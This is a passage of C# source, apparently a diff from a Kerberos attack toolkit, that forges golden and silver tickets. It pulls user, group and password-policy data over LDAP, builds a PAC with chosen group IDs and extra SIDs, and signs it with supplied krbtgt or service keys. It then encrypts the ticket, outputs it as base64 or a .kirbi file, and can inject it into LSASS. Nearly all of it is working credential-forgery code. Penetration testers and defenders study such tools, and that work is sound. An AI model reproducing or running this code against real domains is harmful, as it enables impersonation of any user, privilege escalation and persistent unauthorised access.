in ActiveDirectoryObjects) + { + string objectSid = (string)userObject["objectsid"]; + string domainSid = objectSid.Substring(0, objectSid.LastIndexOf('-')); + + // parse the UAC field and set in the PAC + if (uac == Interop.PacUserAccountControl.NORMAL_ACCOUNT) + { + kvi.UserAccountControl = 0; + Interop.LDAPUserAccountControl userUAC = (Interop.LDAPUserAccountControl)userObject["useraccountcontrol"]; + if ((userUAC & Interop.LDAPUserAccountControl.ACCOUNTDISABLE) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNTDISABLE; + } + if ((userUAC & Interop.LDAPUserAccountControl.HOMEDIR_REQUIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.HOMEDIR_REQUIRED; + } + + if ((userUAC & Interop.LDAPUserAccountControl.PASSWD_NOTREQD) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWD_NOTREQD; + } + if ((userUAC & Interop.LDAPUserAccountControl.TEMP_DUPLICATE_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TEMP_DUPLICATE_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.NORMAL_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NORMAL_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.MNS_LOGON_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.MNS_LOGON_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.WORKSTATION_TRUST_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.WORKSTATION_TRUST_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.SERVER_TRUST_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SERVER_TRUST_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.DONT_EXPIRE_PASSWORD) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD; + } + // Is this right? LDAP UAC field doesn't contain ACCOUNT_AUTO_LOCKED, LOCKOUT looks like the most likely candidate + if ((userUAC & Interop.LDAPUserAccountControl.LOCKOUT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNT_AUTO_LOCKED; + } + if ((userUAC & Interop.LDAPUserAccountControl.ENCRYPTED_TEXT_PWD_ALLOWED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ENCRYPTED_TEXT_PASSWORD_ALLOWED; + } + if ((userUAC & Interop.LDAPUserAccountControl.SMARTCARD_REQUIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SMARTCARD_REQUIRED; + } + if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_FOR_DELEGATION) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_FOR_DELEGATION; + } + if ((userUAC & Interop.LDAPUserAccountControl.NOT_DELEGATED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NOT_DELEGATED; + } + if ((userUAC & Interop.LDAPUserAccountControl.USE_DES_KEY_ONLY) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_DES_KEY_ONLY; + } + if ((userUAC & Interop.LDAPUserAccountControl.DONT_REQ_PREAUTH) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_REQ_PREAUTH; + } + if ((userUAC & Interop.LDAPUserAccountControl.PASSWORD_EXPIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWORD_EXPIRED; + } + if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION; + } + if ((userUAC & Interop.LDAPUserAccountControl.NO_AUTH_DATA_REQUIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NO_AUTH_DATA_REQUIRED; + } + if ((userUAC & Interop.LDAPUserAccountControl.PARTIAL_SECRETS_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PARTIAL_SECRETS_ACCOUNT; + } + /* No USE_AES_KEYS bit seems to exist in the UAC field returned by LDAP + if ((userUAC & Interop.LDAPUserAccountControl.USE_AES_KEYS) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_AES_KEYS; + }*/ + } + + List> adObjects = null; + + // build group and domain policy filter + string filter = ""; + string outputText = ""; + if (string.IsNullOrEmpty(groups)) + { + if (userObject.ContainsKey("memberof")) + { + foreach (string groupDN in (string[])userObject["memberof"]) + { + filter += String.Format("(distinguishedname={0})", groupDN); + } + outputText += "group"; + } + } + + if (pGid == null) + filter += String.Format("(objectsid={0}-{1})", domainSid, (string)userObject["primarygroupid"]); + + if (minPassAge == null || (maxPassAge == null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0))) + { + filter = String.Format("{0}(name={{31B2F340-016D-11D2-945F-00C04FB984F9}})", filter); + if (String.IsNullOrEmpty(outputText)) + { + outputText = "domain policy"; + } + else + { + outputText = String.Format("{0} and domain policy", outputText); + } + } + + if (!String.IsNullOrEmpty(filter)) + { + // Try to get group and domain policy information from LDAP + Console.WriteLine("[*] Retrieving {0} information over LDAP from domain controller {1}", outputText, domainController); + adObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(|{0})", filter), ssl); + if (adObjects == null) + { + Console.WriteLine("[!] Unable to get {0} information using LDAP, using defaults.", outputText); + } + else + { + if (userObject.ContainsKey("memberof")) + { + kvi.GroupCount = ((string[])userObject["memberof"]).Length + 1; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[((string[])userObject["memberof"]).Length + 1]; + } + else + { + kvi.GroupCount = 1; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[1]; + } + c = 0; + foreach (var o in adObjects) + { + if (o.ContainsKey("gpcfilesyspath")) + { + string gptTmplPath = String.Format("{0}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf", (string)o["gpcfilesyspath"]); + gptTmplPath = gptTmplPath.Replace(String.Format("\\\\{0}\\", domain), String.Format("\\\\{0}\\", domainController)); + Dictionary> gptTmplObject = Networking.GetGptTmplContent(gptTmplPath, ldapuser, ldappassword); + + if (gptTmplObject == null) + { + Console.WriteLine("[!] Warning: Unable to get domain policy information, skipping PasswordCanChange and PasswordMustChange PAC fields."); + continue; + } + + if (minPassAge == null) + { + minPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MinimumPasswordAge"]); + if (minPassAge > 0) + { + kvi.PasswordCanChange = new Ndr._FILETIME(((DateTime)userObject["pwdlastset"]).AddDays((double)minPassAge)); + } + } + if (maxPassAge == null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0)) + { + maxPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MaximumPasswordAge"]); + if (maxPassAge > 0) + { + kvi.PasswordMustChange = new Ndr._FILETIME(((DateTime)userObject["pwdlastset"]).AddDays((double)maxPassAge)); + } + } + } + else + { + string groupSid = (string)o["objectsid"]; + int groupId = Int32.Parse(groupSid.Substring(groupSid.LastIndexOf('-') + 1)); + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(groupId, 7) }, 0, kvi.GroupIds, c, 1); + c += 1; + } + } + } + } + + // preform the netbios name lookup + if (String.IsNullOrEmpty(netbiosName)) + { + Console.WriteLine("[*] Retrieving netbios name information over LDAP from domain controller {0}", domainController); + + // first get forest root + string forestRoot = null; + try + { + forestRoot = System.DirectoryServices.ActiveDirectory.Forest.GetCurrentForest().RootDomain.Name; + } + catch + { + Console.WriteLine("[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming {0} is the forest root", domain); + forestRoot = domain; + } + + string configRootDomain = domain; + if (!domain.Equals(forestRoot)) + configRootDomain = forestRoot; + + string configOU = String.Format("CN=Configuration,DC={0}", configRootDomain.Replace(".", ",DC=")); + + adObjects = Networking.GetLdapQuery(ldapCred, configOU, domainController, domain, String.Format("(&(netbiosname=*)(dnsroot={0}))", domain), ssl); + if (adObjects == null) + { + Console.WriteLine("[!] Unable to get netbios name information using LDAP, using defaults."); + } + else + { + foreach (var o in adObjects) + { + if (o.ContainsKey("netbiosname")) + { + kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING((string)o["netbiosname"]); + } + } + } + } + + // set the rest of the PAC fields + if (userObject.ContainsKey("displayname")) + { + kvi.FullName = new Ndr._RPC_UNICODE_STRING((string)userObject["displayname"]); + } + + if (String.IsNullOrEmpty(sid)) + { + kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(domainSid)); + } + kvi.LogonCount = short.Parse((string)userObject["logoncount"]); + kvi.BadPasswordCount = short.Parse((string)userObject["badpwdcount"]); + if ((DateTime)userObject["lastlogon"] != DateTime.MinValue) + { + kvi.LogonTime = new Ndr._FILETIME((DateTime)userObject["lastlogon"]); + } + if ((DateTime)userObject["lastlogoff"] != DateTime.MinValue) + { + kvi.LogoffTime = new Ndr._FILETIME((DateTime)userObject["lastlogoff"]); + } + if ((DateTime)userObject["pwdlastset"] != DateTime.MinValue) + { + kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)userObject["pwdlastset"]); + } + kvi.PrimaryGroupId = Int32.Parse((string)userObject["primarygroupid"]); + kvi.UserId = Int32.Parse(objectSid.Substring(objectSid.LastIndexOf('-') + 1)); + if (userObject.ContainsKey("homedirectory")) + { + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING((string)userObject["homedirectory"]); + } + if (userObject.ContainsKey("homedrive")) + { + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING((string)userObject["homedrive"]); + } + if (userObject.ContainsKey("profilepath")) + { + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING((string)userObject["profilepath"]); + } + if (userObject.ContainsKey("scriptpath")) + { + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING((string)userObject["scriptpath"]); + } + + } + + } + else if (String.IsNullOrEmpty(sid)) + { + Console.WriteLine("[X] To forge tickets without specifying '/ldap', '/sid' is required."); + return; + } + + // initialize some structures + KRB_CRED cred = new KRB_CRED(); + KrbCredInfo info = new KrbCredInfo(); + + Console.WriteLine("[*] Building PAC"); + + // overwrite any LogonInfo fields here sections + if (!String.IsNullOrEmpty(netbiosName)) + { + kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(netbiosName); + } + if (!String.IsNullOrEmpty(sid)) + { + kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(sid)); + } + if (!String.IsNullOrEmpty(groups)) + { + List allGroups = new List(); + foreach (string gid in groups.Split(',')) + { + try + { + allGroups.Add(Int32.Parse(gid)); + } + catch (Exception e) + { + Console.WriteLine("[X] Error unable to parse group id {0}: {1}", gid, e.Message); + } + } + if ((pGid != null) && !allGroups.Contains((int)pGid)) + allGroups.Add((int)pGid); + int numOfGroups = allGroups.Count; + kvi.GroupCount = numOfGroups; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[numOfGroups]; + c = 0; + foreach (int gid in allGroups) + { + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(gid, 7) }, 0, kvi.GroupIds, c, 1); + c += 1; + } + } + if (!String.IsNullOrEmpty(sids)) + { + int numOfSids = sids.Split(',').Length; + kvi.SidCount = numOfSids; + kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[numOfSids]; + c = 0; + foreach (string s in sids.Split(',')) + { + Array.Copy(new Ndr._KERB_SID_AND_ATTRIBUTES[] { new Ndr._KERB_SID_AND_ATTRIBUTES(new Ndr._RPC_SID(new SecurityIdentifier(s)), 7) }, 0, kvi.ExtraSids, c, 1); + c += 1; + } + } + if (!String.IsNullOrEmpty(resourceGroupSid) && (resourceGroups != null)) + { + try + { + kvi.ResourceGroupDomainSid = new Ndr._RPC_SID(new SecurityIdentifier(resourceGroupSid)); + kvi.ResourceGroupCount = resourceGroups.Count; + kvi.ResourceGroupIds = new Ndr._GROUP_MEMBERSHIP[resourceGroups.Count]; + c = 0; + foreach (int rgroup in resourceGroups) + { + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(rgroup, 7) }, 0, kvi.ResourceGroupIds, c, 1); + c += 1; + } + } + catch + { + + } + } + if (kvi.SidCount > 0) + { + kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.EXTRA_SIDS; + } + if (kvi.ResourceGroupCount > 0) + { + kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.RESOURCE_GROUPS; + } + if (!String.IsNullOrEmpty(domainController)) + { + string dcName = Networking.GetDCNameFromIP(domainController); + if (dcName != null) + { + kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(domainController.Substring(0, domainController.IndexOf('.')).ToUpper()); + } + } + if (!String.IsNullOrEmpty(displayName)) + { + kvi.FullName = new Ndr._RPC_UNICODE_STRING(displayName); + } + if (logonCount != null) + { + kvi.LogonCount = (short)logonCount; + } + if (badPwdCount != null) + { + kvi.BadPasswordCount = (short)badPwdCount; + } + if (lastLogon != null) + { + kvi.LogonTime = new Ndr._FILETIME((DateTime)lastLogon); + } + if (logoffTime != null) + { + kvi.LogoffTime = new Ndr._FILETIME((DateTime)logoffTime); + } + if (pwdLastSet != null) + { + kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)pwdLastSet); + } + if (origMinPassAge != null) + { + try + { + DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); + if (minPassAge > 0) + { + kvi.PasswordCanChange = new Ndr._FILETIME(passLastSet.AddDays((double)minPassAge)); + } + } + catch + { + Console.WriteLine("[!] Something went wrong setting the PasswordCanChange field, perhaps PasswordLastSet is not configured properly"); + } + } + if (origMaxPassAge != null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0)) + { + try + { + DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); + if (maxPassAge > 0) + { + kvi.PasswordMustChange = new Ndr._FILETIME(passLastSet.AddDays((double)maxPassAge)); + } + } + catch + { + Console.WriteLine("[!] Something went wrong setting the PasswordMustChange field, perhaps PasswordLastSet is not configured properly"); + } + } + if (id != null) + { + kvi.UserId = (int)id; + } + if (pGid != null) + { + kvi.PrimaryGroupId = (int)pGid; + } + if (!String.IsNullOrEmpty(homeDir)) + { + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(homeDir); + } + if (!String.IsNullOrEmpty(homeDrive)) + { + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(homeDrive); + } + if (!String.IsNullOrEmpty(profilePath)) + { + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(profilePath); + } + if (!String.IsNullOrEmpty(scriptPath)) + { + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(scriptPath); + } + + + // generate a random session key, encryption type and checksum types + Random random = new Random(); + byte[] randKeyBytes; + SignatureData svrSigData = new SignatureData(PacInfoBufferType.ServerChecksum); + SignatureData kdcSigData = new SignatureData(PacInfoBufferType.KDCChecksum); + int svrSigLength = 12, kdcSigLength = 12; + if (etype == Interop.KERB_ETYPE.rc4_hmac) + { + randKeyBytes = new byte[16]; + random.NextBytes(randKeyBytes); + svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + svrSigLength = 16; + kdcSigLength = 16; + } + else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + randKeyBytes = new byte[32]; + random.NextBytes(randKeyBytes); + svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + } + else + { + Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); + return; + } + + // if the krbtgt key is specified, use the checksum type also specified + if (krbKey != null) + { + kdcSigData.SignatureType = krbeType; + if ((krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256) || (krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) + { + kdcSigLength = 12; + } + else + { + kdcSigLength = 16; + } + } + + // set krbKey to serviceKey if none is given + if (krbKey == null) + { + krbKey = serviceKey; + } + + // output some ticket information relevent to all tickets generated + Console.WriteLine(""); + Console.WriteLine("[*] Domain : {0} ({1})", domain.ToUpper(), kvi.LogonDomainName); + Console.WriteLine("[*] SID : {0}", kvi.LogonDomainId?.GetValue()); + Console.WriteLine("[*] UserId : {0}", kvi.UserId); + if (kvi.GroupCount > 0) + { + Console.WriteLine("[*] Groups : {0}", kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (kvi.SidCount > 0) + { + Console.WriteLine("[*] ExtraSIDs : {0}", kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + Console.WriteLine("[*] ServiceKey : {0}", Helpers.ByteArrayToString(serviceKey)); + Console.WriteLine("[*] ServiceKeyType : {0}", svrSigData.SignatureType); + Console.WriteLine("[*] KDCKey : {0}", Helpers.ByteArrayToString(krbKey)); + Console.WriteLine("[*] KDCKeyType : {0}", kdcSigData.SignatureType); + Console.WriteLine("[*] Service : {0}", parts[0]); + Console.WriteLine("[*] Target : {0}", parts[1]); + Console.WriteLine(""); + + // loop incase we need to generate multiple tickets as everything below this are effected + do + { + // Create PacInfoBuffers + kvi.LogonTime = new Ndr._FILETIME((DateTime)startTime); + LogonInfo li = new LogonInfo(kvi); + + if (String.IsNullOrEmpty(cName)) + cName = user; + if (String.IsNullOrEmpty(cRealm)) + cRealm = domain; + + ClientName cn = null; + if (parts[0].Equals("krbtgt") && !cRealm.Equals(domain)) + cn = new ClientName((DateTime)startTime, String.Format("{0}@{1}@{1}", user, domain.ToUpper())); + else + cn = new ClientName((DateTime)startTime, user); + + UpnDns upnDns = new UpnDns(0, domain.ToUpper(), String.Format("{0}@{1}", user, domain.ToLower())); + + S4UDelegationInfo s4u = null; + if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) + { + s4u = new S4UDelegationInfo(s4uProxyTarget, s4uTransitedServices.Split(',')); + } + + Console.WriteLine("[*] Generating EncTicketPart"); + + EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, cRealm.ToUpper(), cName, flags, cn.ClientId); + + // set other times in EncTicketPart + DateTime? check = null; + decTicketPart.authtime = (DateTime)authTime; + if (!String.IsNullOrEmpty(endTime)) + { + check = Helpers.FutureDate((DateTime)startTime, endTime); + if (check != null) + { + decTicketPart.endtime = (DateTime)check; + } + } + if (!String.IsNullOrEmpty(renewTill)) + { + check = Helpers.FutureDate((DateTime)startTime, renewTill); + if (check != null) + { + decTicketPart.renew_till = (DateTime)check; + } + } + + if (decTicketPart.authorization_data == null) + { + decTicketPart.authorization_data = new List(); + } + + // generate blank PAC for TicketChecksum for service tickets + SignatureData ticketSigData = null; + if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) + { + ticketSigData = new SignatureData(PacInfoBufferType.TicketChecksum); + ticketSigData.SignatureType = kdcSigData.SignatureType; + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADWin2KPac win2KPac = new ADWin2KPac(); + win2KPac.Pac = null; + win2KPac.ad_data = new byte[] { 0x00 }; + decTicketPart.authorization_data.Add(new ADIfRelevant(win2KPac)); + } + + // set extra AuthorizationData sections + if (includeAuthData) + { + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADRestrictionEntry restrictions = new ADRestrictionEntry(); + ADKerbLocal kerbLocal = new ADKerbLocal(); + ifrelevant.ADData.Add(restrictions); + ifrelevant.ADData.Add(kerbLocal); + decTicketPart.authorization_data.Add(ifrelevant); + } + + // now we have the extra auth data sections, calculate TicketChecksum + if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) + { + ticketSigData.Signature = decTicketPart.CalculateTicketChecksum(krbKey, kdcSigData.SignatureType); + } + + Attributes attrib = null; + Requestor requestor = null; + if (newPac) + { + attrib = new Attributes(); + requestor = new Requestor(String.Format("{0}-{1}", li.KerbValidationInfo.LogonDomainId?.GetValue(), li.KerbValidationInfo.UserId)); + } + + // clear signatures + Console.WriteLine("[*] Signing PAC"); + svrSigData.Signature = new byte[svrSigLength]; + kdcSigData.Signature = new byte[kdcSigLength]; + Array.Clear(svrSigData.Signature, 0, svrSigLength); + Array.Clear(kdcSigData.Signature, 0, kdcSigLength); + + // add sections to the PAC, get bytes and generate checksums + List PacInfoBuffers = new List(); + if (s4u != null) + { + PacInfoBuffers.Add(s4u); + } + PacInfoBuffers.Add(li); + PacInfoBuffers.Add(cn); + PacInfoBuffers.Add(upnDns); + if (newPac) + { + PacInfoBuffers.Add(attrib); + PacInfoBuffers.Add(requestor); + } + PacInfoBuffers.Add(svrSigData); + PacInfoBuffers.Add(kdcSigData); + if (ticketSigData != null) + { + PacInfoBuffers.Add(ticketSigData); + } + PACTYPE pt = new PACTYPE(0, PacInfoBuffers); + byte[] ptBytes = pt.Encode(); + byte[] svrSig = Crypto.KerberosChecksum(serviceKey, ptBytes, svrSigData.SignatureType); + byte[] kdcSig = Crypto.KerberosChecksum(krbKey, svrSig, kdcSigData.SignatureType); + + // add checksums + svrSigData.Signature = svrSig; + kdcSigData.Signature = kdcSig; + PacInfoBuffers = new List(); + if (s4u != null) + { + PacInfoBuffers.Add(s4u); + } + PacInfoBuffers.Add(li); + PacInfoBuffers.Add(cn); + PacInfoBuffers.Add(upnDns); + if (newPac) + { + PacInfoBuffers.Add(attrib); + PacInfoBuffers.Add(requestor); + } + PacInfoBuffers.Add(svrSigData); + PacInfoBuffers.Add(kdcSigData); + if (ticketSigData != null) + { + PacInfoBuffers.Add(ticketSigData); + } + pt = new PACTYPE(0, PacInfoBuffers); + + // add the PAC to the ticket + decTicketPart.SetPac(pt); + + + // encrypt the EncTicketPart + Console.WriteLine("[*] Encrypting EncTicketPart"); + byte[] encTicketData = decTicketPart.Encode().Encode(); + byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, encTicketData); + + // initialize the ticket and add the enc_part + Console.WriteLine("[*] Generating Ticket"); + Ticket ticket = new Ticket(domain.ToUpper(), sname); + ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3); + + // add the ticket + cred.tickets.Add(ticket); + + // [0] add in the session key + info.key.keytype = (int)etype; + info.key.keyvalue = randKeyBytes; + + // [1] prealm (domain) + info.prealm = ticket.realm; + + // [2] pname (user) + info.pname.name_type = decTicketPart.cname.name_type; + info.pname.name_string = decTicketPart.cname.name_string; + + // [3] flags + info.flags = flags; + + // [4] authtime (not required) + info.authtime = decTicketPart.authtime; + + // [5] starttime + info.starttime = decTicketPart.starttime; + + // [6] endtime + info.endtime = decTicketPart.endtime; + + // [7] renew-till + info.renew_till = decTicketPart.renew_till; + + // [8] srealm + info.srealm = ticket.realm; + + // [9] sname + info.sname.name_type = ticket.sname.name_type; + info.sname.name_string = ticket.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + Console.WriteLine("[*] Generated KERB-CRED"); + + + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (parts[0] == "krbtgt") + { + Console.WriteLine("[*] Forged a TGT for '{0}@{1}'", info.pname.name_string[0], domain); + } + else + { + Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname); + } + Console.WriteLine(""); + + // dates unique to this ticket + Console.WriteLine("[*] AuthTime : {0}", decTicketPart.authtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("[*] StartTime : {0}", decTicketPart.starttime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("[*] EndTime : {0}", decTicketPart.endtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("[*] RenewTill : {0}", decTicketPart.renew_till.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + + Console.WriteLine(""); + + Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); + + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + Console.WriteLine(""); + + if (!String.IsNullOrEmpty(outfile)) + { + DateTime fileTime = (DateTime)startTime; + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{fileTime.ToString("yyyy_MM_dd_HH_mm_ss")}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + Console.WriteLine(""); + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + // increase startTime by rangeInterval + startTime = Helpers.FutureDate((DateTime)startTime, rangeInterval); + if (startTime == null) + { + Console.WriteLine("[!] Invalid /rangeinterval passed, skipping multiple ticket generation: {0}", rangeInterval); + startTime = rangeEnd; + } + authTime = startTime; + + } while (startTime < rangeEnd); + + if (printcmd) + { + // print command to be able to recreate a ticket with this information + string cmdOut = String.Format("{0}", System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName); + + // deal with differences between golden and silver + if (parts[0].Equals("krbtgt") && parts[1].Equals(domain)) + { + cmdOut = String.Format("{0} golden", cmdOut, Helpers.ByteArrayToString(serviceKey)); + } + else + { + string krbEncType = ""; + if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) + { + krbEncType = "rc4"; + } + else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) + { + krbEncType = "aes128"; + } + else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) + { + krbEncType = "aes256"; + } + cmdOut = String.Format("{0} silver /service:{1} /krbkey:{2} /kebenctype:{3}", cmdOut, sname, Helpers.ByteArrayToString(krbKey), krbEncType); + } + + // add the service key + string svrEncType = ""; + if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) + { + svrEncType = "rc4"; + } + else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) + { + svrEncType = "aes128"; + } + else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) + { + svrEncType = "aes256"; + } + cmdOut = String.Format("{0} /{1}:{2}", cmdOut, svrEncType, Helpers.ByteArrayToString(serviceKey)); + + // add the rest of the values + cmdOut = String.Format("{0} /user:{1} /id:{2} /pgid:{3} /domain:{4} /sid:{5}", cmdOut, user, kvi.UserId, kvi.PrimaryGroupId, domain, kvi.LogonDomainId.GetValue()); + try + { + cmdOut = String.Format("{0} /logofftime:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.LogoffTime.LowDateTime | ((long)kvi.LogoffTime.HighDateTime << 32)).ToLocalTime()); + } + catch { } + try + { + cmdOut = String.Format("{0} /pwdlastset:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)).ToLocalTime()); + } + catch { } + if (minPassAge != null && minPassAge > 0) + { + cmdOut = String.Format("{0} /minpassage:{1}", cmdOut, minPassAge); + } + if (maxPassAge != null && maxPassAge > 0) + { + cmdOut = 